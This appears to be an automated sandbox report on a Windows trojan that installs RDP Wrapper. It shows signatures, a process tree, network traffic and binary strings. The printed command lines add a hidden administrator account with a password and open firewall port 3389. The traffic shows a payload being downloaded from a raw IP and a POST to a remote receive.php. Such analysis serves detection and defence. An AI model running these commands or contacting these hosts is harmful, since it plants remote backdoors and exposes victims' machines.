Edit tour

Windows Analysis Report
hloRQZmlfg.exe

Overview

General Information

Sample name:	hloRQZmlfg.exe renamed because original name is a hash value
Original sample name:	cee4e023e6afaaa51f600caec3469215.exe
Analysis ID:	1528586
MD5:	cee4e023e6afaaa51f600caec3469215
SHA1:	bf2ceff1f19f09a70863d1f8c7be0fa9662b3b04
SHA256:	da52143dd6a13c1ea3e24e735f64938830e2a3160ae08989629a43e5020d1173
Tags:	32exetrojan
Infos:

Detection

RDPWrap Tool

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

.NET source code contains potential unpacker

AI detected suspicious sample

Adds a new user with administrator rights

Allows multiple concurrent remote connection

Enables remote desktop connection

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the windows firewall

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Sigma detected: Outbound RDP Connections Over Non-Standard Tools

Sigma detected: RDP Sensitive Settings Changed

Uses netsh to modify the Windows network and firewall settings

Yara detected Costura Assembly Loader

Yara detected RDPWrap Tool

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains functionality to enumerate running services

Contains functionality to query locales information (e.g. system language)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates or modifies windows services

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Modifies existing windows services

One or more processes crash

PE file contains executable resources (Code or Archives)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: New User Created Via Net.EXE

Spawns drivers

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

hloRQZmlfg.exe (PID: 2444 cmdline: "C:\Users\user\Desktop\hloRQZmlfg.exe" MD5: CEE4E023E6AFAAA51F600CAEC3469215)

cmd.exe (PID: 432 cmdline: "cmd.exe" /c net user MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

net.exe (PID: 5368 cmdline: net user MD5: 31890A7DE89936F922D44D677F681A7F)

net1.exe (PID: 1036 cmdline: C:\Windows\system32\net1 user MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)

cmd.exe (PID: 504 cmdline: "cmd.exe" /c "C:\Users\user\AppData\Local\Temp\RDPWInst.exe" -i MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6872 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RDPWInst.exe (PID: 1564 cmdline: C:\Users\user\AppData\Local\Temp\RDPWInst.exe -i MD5: C213162C86BB943BCDF91B3DF381D2F6)

netsh.exe (PID: 2344 cmdline: netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

cmd.exe (PID: 2112 cmdline: "cmd.exe" /c net user RDPUser_1e47a393 GEdtvn58rfdr /add MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4820 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

net.exe (PID: 1980 cmdline: net user RDPUser_1e47a393 GEdtvn58rfdr /add MD5: 31890A7DE89936F922D44D677F681A7F)

net1.exe (PID: 5592 cmdline: C:\Windows\system32\net1 user RDPUser_1e47a393 GEdtvn58rfdr /add MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)

cmd.exe (PID: 4700 cmdline: "cmd.exe" /c net localgroup MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 760 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

net.exe (PID: 6464 cmdline: net localgroup MD5: 31890A7DE89936F922D44D677F681A7F)

net1.exe (PID: 4268 cmdline: C:\Windows\system32\net1 localgroup MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)

cmd.exe (PID: 6712 cmdline: "cmd.exe" /c netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=tcp localport=3389 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 1856 cmdline: netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=tcp localport=3389 MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

cmd.exe (PID: 2464 cmdline: "cmd.exe" /c net localgroup "Administrators" RDPUser_1e47a393 /add MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5656 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

net.exe (PID: 1628 cmdline: net localgroup "Administrators" RDPUser_1e47a393 /add MD5: 31890A7DE89936F922D44D677F681A7F)

net1.exe (PID: 6356 cmdline: C:\Windows\system32\net1 localgroup "Administrators" RDPUser_1e47a393 /add MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)

WerFault.exe (PID: 1512 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2444 -s 2756 MD5: C31336C1EFC2CCB44B4326EA793040F2)

rdpvideominiport.sys (PID: 4 cmdline: MD5: 77FF15B9237D62A5CBC6C80E5B20A492)

rdpdr.sys (PID: 4 cmdline: MD5: 64991B36F0BD38026F7589572C98E3D6)

tsusbhub.sys (PID: 4 cmdline: MD5: CC6D4A26254EB72C93AC848ECFCFB4AF)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
hloRQZmlfg.exe	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\RDPWInst.exe	JoeSecurity_RDPWrapTool	Yara detected RDPWrap Tool	Joe Security
C:\Users\user\AppData\Local\Temp\RDPWInst.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000000.1405997855.0000000000882000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000008.00000000.1434233686.0000000000401000.00000020.00000001.01000000.00000008.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000000.00000002.1919966763.0000000002CF1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmp	JoeSecurity_RDPWrapTool	Yara detected RDPWrap Tool	Joe Security
00000008.00000000.1434308891.0000000000450000.00000002.00000001.01000000.00000008.sdmp	JoeSecurity_RDPWrapTool	Yara detected RDPWrap Tool	Joe Security
Process Memory Space: hloRQZmlfg.exe PID: 2444	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: RDPWInst.exe PID: 1564	JoeSecurity_RDPWrapTool	Yara detected RDPWrap Tool	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author
0.0.hloRQZmlfg.exe.880000.0.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
8.2.RDPWInst.exe.400000.0.unpack	JoeSecurity_RDPWrapTool	Yara detected RDPWrap Tool	Joe Security
8.2.RDPWInst.exe.400000.0.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
8.0.RDPWInst.exe.400000.0.unpack	JoeSecurity_RDPWrapTool	Yara detected RDPWrap Tool	Joe Security
8.0.RDPWInst.exe.400000.0.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Sigma Signatures

System Summary

Sigma detected: Outbound RDP Connections Over Non-Standard Tools

Source: Network Connection

Author: Markus Neis: Data: DestinationIp: 8.46.123.33, DestinationIsIpv6: false, DestinationPort: 3389, EventID: 3, Image: C:\Users\user\Desktop\hloRQZmlfg.exe, Initiated: true, ProcessId: 2444, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49711

Sigma detected: RDP Sensitive Settings Changed

Source: Registry Key set

Author: Samir Bousseaden, David ANDRE, Roberto Rodriguez @Cyb3rWard0g, Nasreddine Bencherchali: Data: Details: %ProgramFiles%\RDP Wrapper\rdpwrap.dll, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\RDPWInst.exe, ProcessId: 1564, TargetObject: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\TermService\Parameters\ServiceDll

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: , CommandLine: , CommandLine|base64offset|contains: , Image: C:\Windows\System32\drivers\rdpvideominiport.sys, NewProcessName: C:\Windows\System32\drivers\rdpvideominiport.sys, OriginalFileName: C:\Windows\System32\drivers\rdpvideominiport.sys, ParentCommandLine: , ParentImage: , ParentProcessId: -1, ProcessCommandLine: , ProcessId: 4, ProcessName: rdpvideominiport.sys

Sigma detected: New User Created Via Net.EXE

Source: Process started

Author: Endgame, JHasenbusch (adapted to Sigma for oscd.community): Data: Command: net user RDPUser_1e47a393 GEdtvn58rfdr /add, CommandLine: net user RDPUser_1e47a393 GEdtvn58rfdr /add, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\net.exe, NewProcessName: C:\Windows\SysWOW64\net.exe, OriginalFileName: C:\Windows\SysWOW64\net.exe, ParentCommandLine: "cmd.exe" /c net user RDPUser_1e47a393 GEdtvn58rfdr /add, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 2112, ParentProcessName: cmd.exe, ProcessCommandLine: net user RDPUser_1e47a393 GEdtvn58rfdr /add, ProcessId: 1980, ProcessName: net.exe

Sigma detected: Local Accounts Discovery

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: net user, CommandLine: net user, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\net.exe, NewProcessName: C:\Windows\SysWOW64\net.exe, OriginalFileName: C:\Windows\SysWOW64\net.exe, ParentCommandLine: "cmd.exe" /c net user, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 432, ParentProcessName: cmd.exe, ProcessCommandLine: net user, ProcessId: 5368, ProcessName: net.exe

Sigma detected: Net.exe Execution

Source: Process started

Author: Michael Haag, Mark Woan (improvements), James Pemberton / @4A616D6573 / oscd.community (improvements): Data: Command: net user, CommandLine: net user, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\net.exe, NewProcessName: C:\Windows\SysWOW64\net.exe, OriginalFileName: C:\Windows\SysWOW64\net.exe, ParentCommandLine: "cmd.exe" /c net user, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 432, ParentProcessName: cmd.exe, ProcessCommandLine: net user, ProcessId: 5368, ProcessName: net.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T03:23:43.830864+0200	2803305	3	Unknown Traffic	192.168.2.8	49710	104.26.12.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: hloRQZmlfg.exe

Avira: detected

Multi AV Scanner detection for domain / URL

Source: http://147.45.44.104/prog/66f55533ca7d6_RDPWInst.exe	Virustotal: Detection: 22%			Perma Link
Source: http://147.45.44.104	Virustotal: Detection: 20%			Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Program Files\RDP Wrapper\rdpwrap.dll	ReversingLabs: Detection: 54%
Source: C:\Program Files\RDP Wrapper\rdpwrap.dll	Virustotal: Detection: 56%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Virustotal: Detection: 77%	Perma Link

Multi AV Scanner detection for submitted file

Source: hloRQZmlfg.exe	ReversingLabs: Detection: 63%
Source: hloRQZmlfg.exe	Virustotal: Detection: 71%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: hloRQZmlfg.exe

Joe Sandbox ML: detected

Source: hloRQZmlfg.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Directory created: C:\Program Files\RDP Wrapper	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Directory created: C:\Program Files\RDP Wrapper\rdpwrap.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Directory created: C:\Program Files\RDP Wrapper\rdpwrap.dll	Jump to behavior

Source: unknown

HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49712 version: TLS 1.2

Source: hloRQZmlfg.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: System.pdbIs>b source: WER91CD.tmp.dmp.38.dr
Source:	Binary string: System.Xml.ni.pdb source: WER91CD.tmp.dmp.38.dr
Source:	Binary string: System.ni.pdbRSDS source: WER91CD.tmp.dmp.38.dr
Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: hloRQZmlfg.exe, 00000000.00000002.1919966763.0000000002E09000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.costura.pdb.compressedlB source: hloRQZmlfg.exe, 00000000.00000002.1919966763.0000000002CF1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.DirectoryServices.pdb source: WER91CD.tmp.dmp.38.dr
Source:	Binary string: costura.costura.pdb.compressed source: hloRQZmlfg.exe
Source:	Binary string: System.Configuration.ni.pdb source: WER91CD.tmp.dmp.38.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: hloRQZmlfg.exe, 00000000.00000002.1921092597.00000000057A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: rdpclip.pdb source: hloRQZmlfg.exe, 00000000.00000002.1919966763.0000000002DB5000.00000004.00000800.00020000.00000000.sdmp, RDPWInst.exe, 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr
Source:	Binary string: mscorlib.ni.pdbRSDS source: WER91CD.tmp.dmp.38.dr
Source:	Binary string: RfxVmt.pdbGCTL source: RDPWInst.exe, 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr, rfxvmt.dll.8.dr
Source:	Binary string: System.DirectoryServices.ni.pdbRSDS source: WER91CD.tmp.dmp.38.dr
Source:	Binary string: System.Configuration.pdb source: WER91CD.tmp.dmp.38.dr
Source:	Binary string: \mscorlib.pdb source: hloRQZmlfg.exe, 00000000.00000002.1921092597.0000000005836000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Xml.pdb source: WER91CD.tmp.dmp.38.dr
Source:	Binary string: System.pdb source: hloRQZmlfg.exe, 00000000.00000002.1919966763.0000000002E09000.00000004.00000800.00020000.00000000.sdmp, WER91CD.tmp.dmp.38.dr
Source:	Binary string: tem.pdb source: hloRQZmlfg.exe, 00000000.00000002.1921092597.0000000005836000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WER91CD.tmp.dmp.38.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbX source: hloRQZmlfg.exe, 00000000.00000002.1921092597.00000000057A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.ni.pdb source: WER91CD.tmp.dmp.38.dr
Source:	Binary string: System.DirectoryServices.pdb4 source: WER91CD.tmp.dmp.38.dr
Source:	Binary string: System.DirectoryServices.ni.pdb source: WER91CD.tmp.dmp.38.dr
Source:	Binary string: mscorlib.pdb source: hloRQZmlfg.exe, 00000000.00000002.1919966763.0000000002E09000.00000004.00000800.00020000.00000000.sdmp, WER91CD.tmp.dmp.38.dr
Source:	Binary string: rdpclip.pdbH source: RDPWInst.exe, 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr
Source:	Binary string: System.Management.ni.pdbRSDSJ< source: WER91CD.tmp.dmp.38.dr
Source:	Binary string: System.Management.pdb source: WER91CD.tmp.dmp.38.dr
Source:	Binary string: rdpclip.pdbJ source: hloRQZmlfg.exe, 00000000.00000002.1919966763.0000000002DB5000.00000004.00000800.00020000.00000000.sdmp, RDPWInst.exe, 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr
Source:	Binary string: mscorlib.ni.pdb source: WER91CD.tmp.dmp.38.dr
Source:	Binary string: System.Management.ni.pdb source: WER91CD.tmp.dmp.38.dr
Source:	Binary string: HPJo0C:\Windows\mscorlib.pdb source: hloRQZmlfg.exe, 00000000.00000002.1919019826.0000000000CF5000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: RfxVmt.pdb source: RDPWInst.exe, 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr, rfxvmt.dll.8.dr
Source:	Binary string: System.Core.pdb source: WER91CD.tmp.dmp.38.dr
Source:	Binary string: <>c__DisplayClass0_0<>9__5_0<GetTotalDiskSpace>b__5_0<GenerateRandomPassword>b__0<>u__1IEnumerable`1Task`1TaskAwaiter`10xb11a1ToInt32<>u__2Func`2Dictionary`2ToInt64<Main>d__5get_UTF8<>9<Module><Main>U3lzdGVtSW5mb0FBQ2xpZW50QUFBUkRQSW5zdGFsbGVyQUFBUHJvZ3JhbUFBQXNzZW1ibHlMb2FkZXJBUkRQQ3JlYXRvcl9Qcm9jZXNzZWRCeUZvZHlBGetTotalRAMSystem.IOGetPublicIP_Costuracostura.metadatamscorlib<>cSystem.Collections.GenericDiscoverDeviceAsyncDownloadFileTaskAsyncCreatePortMapAsyncReadLoadAddisAttachedInterlockedcostura.costura.pdb.compressedcostura.costura.dll.compressedcostura.system.diagnostics.diagnosticsource.dll.compressedcostura.open.nat.dll.compressedget_ConnectedAwaitUnsafeOnCompletedget_IsCompletedSystem.Collections.SpecializedNewGuidReadToEndExecuteCommandcommandFindGenerateRandomPasswordpasswordReplaceGetTotalDiskSpaceNatDeviceCancellationTokenSourcesourceset_ModePaddingModeCompressionModeCipherModeRangeExchangenullCacheInvokeIEnumerableIDisposableget_AsyncWaitHandleDownloadFileGetOSNameGetGPUNameget_Nameget_MachineNamefullNameGetAdminGroupNameuserNameGetProcessorNameGetNamerequestedAssemblyNameusernameWaitOneCombineIAsyncStateMachineSetStateMachinestateMachineValueTypeSystem.CorecultureDisposeCreate<>1__stateWriteCompilerGeneratedAttributeDebuggableAttributeAsyncStateMachineAttributeTargetFrameworkAttributeDebuggerHiddenAttributeCompilationRelaxationsAttributeRuntimeCompatibilityAttributeset_UseShellExecuteByteTryGetValuedriveadd_AssemblyResolveRDPCreator.exeSystem.Threadingset_PaddingEncodingSystem.Runtime.VersioningMappingFromBase64StringDownloadStringCultureToStringGetStringSubstringAttachComputeHashzipPathGetTempPathpathget_LengthlengthEndsWithUriAsyncCallbacknullCacheLockTransformFinalBlockget_TaskProtocolzipUrlserverUrlurlReadStreamLoadStreamGetManifestResourceStreamDeflateStreamMemoryStreamstreamget_Itemset_ItemSystemSymmetricAlgorithmHashAlgorithmTrimRandomrandomICryptoTransformSumTimeSpanIsPortOpenget_ChildrenRDPCreator.cMainAppDomainget_CurrentDomainFodyVersionSystem.IO.CompressiondestinationSystem.GlobalizationSystem.ReflectionNameValueCollectionManagementObjectCollectionset_PositionSetExceptionStringComparisonusernamePatternpatternCopyToget_CultureInfoProcessStartInfoAddUserToAdminGroupAddUserToRemoteDesktopGroupSystem.LinqClearStreamReaderTextReaderMD5CryptoServiceProviderTripleDESCryptoServiceProviderAsyncTaskMethodBuilder<>t__buildersenderManagementObjectSearcherResolveEventHandlerPortMapperInstallRDPWrapperNatDiscovererCheckForRDPUserCreateAdminUserTaskAwaiterGetAwaiterEnterRDPCreator.ctor.cctorMonitorCreateDecryptorSystem.DiagnosticsFromMillisecondsSystem.Runtime.CompilerServicesSystem.DirectoryServicesReadFromEmbeddedResourcesDebuggingModesGetAssembliesDirectoryEntriesresourceNamessymbolNamesassemblyNamesGetBytesUploadValuesget_FlagsAssemblyNameFlagsResolveEventArgsargsSystem.Threading.TasksSendCredentialsEqualsContainsSystem.Collectionsget_CharsProcessSystem.Net.SocketsExistsOpen.NatConcatManagementBaseObjectManagementObjectSelectBegin
Source:	Binary string: costura.costura.pdb.compressed\|\|\|Costura.pdb\|6C6000A5EAF8579850AB82A89BD6268776EB51AD\|2608 source: hloRQZmlfg.exe
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WER91CD.tmp.dmp.38.dr
Source:	Binary string: 00000000000000000400000000000000g.PDB source: hloRQZmlfg.exe, 00000000.00000002.1923069816.0000000006B90000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdb source: WER91CD.tmp.dmp.38.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WER91CD.tmp.dmp.38.dr

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 8_2_004092D8 FindFirstFileW,FindClose,	8_2_004092D8
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 8_2_0040F73C FindFirstFileW,FindClose,	8_2_0040F73C
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 8_2_00408EB9 lstrcpynW,FindFirstFileW,FindClose,lstrlenW,lstrcpynW,lstrlenW,lstrcpynW,	8_2_00408EB9

Networking

Yara detected RDPWrap Tool

Source: Yara match	File source: 8.2.RDPWInst.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.RDPWInst.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000000.1434308891.0000000000450000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RDPWInst.exe PID: 1564, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe, type: DROPPED

Source: global traffic

TCP traffic: 192.168.2.8:49711 -> 8.46.123.33:3389

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Tue, 08 Oct 2024 01:23:04 GMTContent-Type: application/octet-streamContent-Length: 1785344Last-Modified: Thu, 26 Sep 2024 12:36:03 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66f55533-1b3e00"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 23 d6 43 5a 00 00 00 00 00 00 00 00 e0 00 8e 81 0b 01 02 19 00 34 04 00 00 06 17 00 00 00 00 00 3c 37 04 00 00 10 00 00 00 50 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 e0 1b 00 00 04 00 00 17 f6 1b 00 03 00 00 00 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 c0 04 00 f8 12 00 00 00 60 05 00 ed 7b 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 fc 5e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 04 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 c3 04 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 20 12 04 00 00 10 00 00 00 14 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 69 74 65 78 74 00 00 7c 1e 00 00 00 30 04 00 00 20 00 00 00 18 04 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 78 12 00 00 00 50 04 00 00 14 00 00 00 38 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 c0 4f 00 00 00 70 04 00 00 00 00 00 00 4c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 f8 12 00 00 00 c0 04 00 00 14 00 00 00 4c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 10 00 00 00 00 e0 04 00 00 00 00 00 00 60 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 72 64 61 74 61 00 00 18 00 00 00 00 f0 04 00 00 02 00 00 00 60 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 fc 5e 00 00 00 00 05 00 00 60 00 00 00 62 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 72 73 72 63 00 00 00 ed 7b 16 00 00 60 05 00 00 7c 16 00 00 c2 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 70 17 00 00 00 00 00 00 cc 16 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /receive.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: hansgborn.euContent-Length: 193Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /prog/66f55533ca7d6_RDPWInst.exe HTTP/1.1Host: 147.45.44.104Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org

Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View

ASN Name: AS-PUBMATICUS AS-PUBMATICUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: Network traffic

Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49710 -> 104.26.12.205:80

Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
